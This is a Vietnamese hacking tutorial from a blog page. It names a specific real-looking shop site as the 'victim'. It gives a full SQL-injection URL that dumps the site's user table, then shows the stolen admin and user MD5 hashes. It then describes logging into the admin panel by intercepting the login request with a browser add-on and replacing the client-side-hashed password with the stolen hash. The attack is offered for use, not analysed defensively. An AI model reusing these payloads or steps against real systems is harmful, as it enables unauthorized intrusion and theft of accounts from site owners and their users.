Cách login khi không crack đc md5 đối với 1 số site

Lỗi bug trong Gmail Android cho phép bất cứ ai cũng có thể gửi email giả mạo
Jan 05 2016 - Halozen
15 bức ảnh khoa học tuyệt đẹp trong năm 2015
Jan 05 2016 - Halozen
Tổng hợp game mobile đua xe đáng chơi nhất 2015
Jan 04 2016 - Halozen
Key bản quyền Sublime Text 3 (2015-2016)
Jan 04 2016 - Halozen
Lenovo nói gì về sự cố máy tính cài sẵn phần mềm gián điệp?
Jan 04 2016 - Halozen
Top 10 ngôn ngữ lập trình dễ bị Hack
Jan 04 2016 - Halozen
Nguyễn Hà Đông giải thích lý do game mới Swing Copters 2 'từ chối' người Việt
Jan 04 2016 - Halozen
Mark Zuckerberg học theo Iron Man: phát triển trợ lý ảo như 'Jarvis'
Jan 04 2016 - Halozen

Tut by Leorius - VHB

1. Chào các bạn, mình mạo muội làm tut login khi không crack được MD5 đối với một số website mã hoá MD5 trước khi post dữ liệu lên server.

+ Victim: http://traanh.vn/
+ Addon Tamper Data (Firefox) hoặc các addon tương tự

2. Trước tiên là tìm User,Pass:

http://traanh.vn/?frame=product_detail&id=-929%20union%20select%201,2,3,4,5,6,unhex%28hex%28group_concat%28%20id,0x7c,uid,0x7c,pwd,0x3c62722f3e%29%29%29,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20tbl_user--

1|admin|c2a26024ce725f94d9b9e90f6a618ba3
2|phamvan|48472492c504e777a664efeff27d9fee

Tình hình là thử đối với các site crack MD5 lớn cho chuỗi c2a26024ce725f94d9b9e90f6a618ba3 mà không được.

Thay vì bỏ, thì còn phương án sau.

3. Tìm link admin, thử login với user là admin (get được ở trên) và pass bất kì (123456):

http://traanh.vn/admin/

4. Bạn để ý chuỗi pass bạn nhập ban đầu chỉ 6 ký tự, nhưng sau khi bấm submit thì chuỗi pass dài ra, tư duy một tí đoán là admincp này mã hoá MD5 bằng JavaScript trước khi post lên server xử lý.

Đến đây có lẽ vấn đề đã được giải quyết:
+ Bật tamper lên
+ Login bằng user (đã get được) và pass (123456)
+ Edit giá trị password bằng tamper thành chuỗi md5 không giải mã được (c2a26024ce725f94d9b9e90f6a618ba3)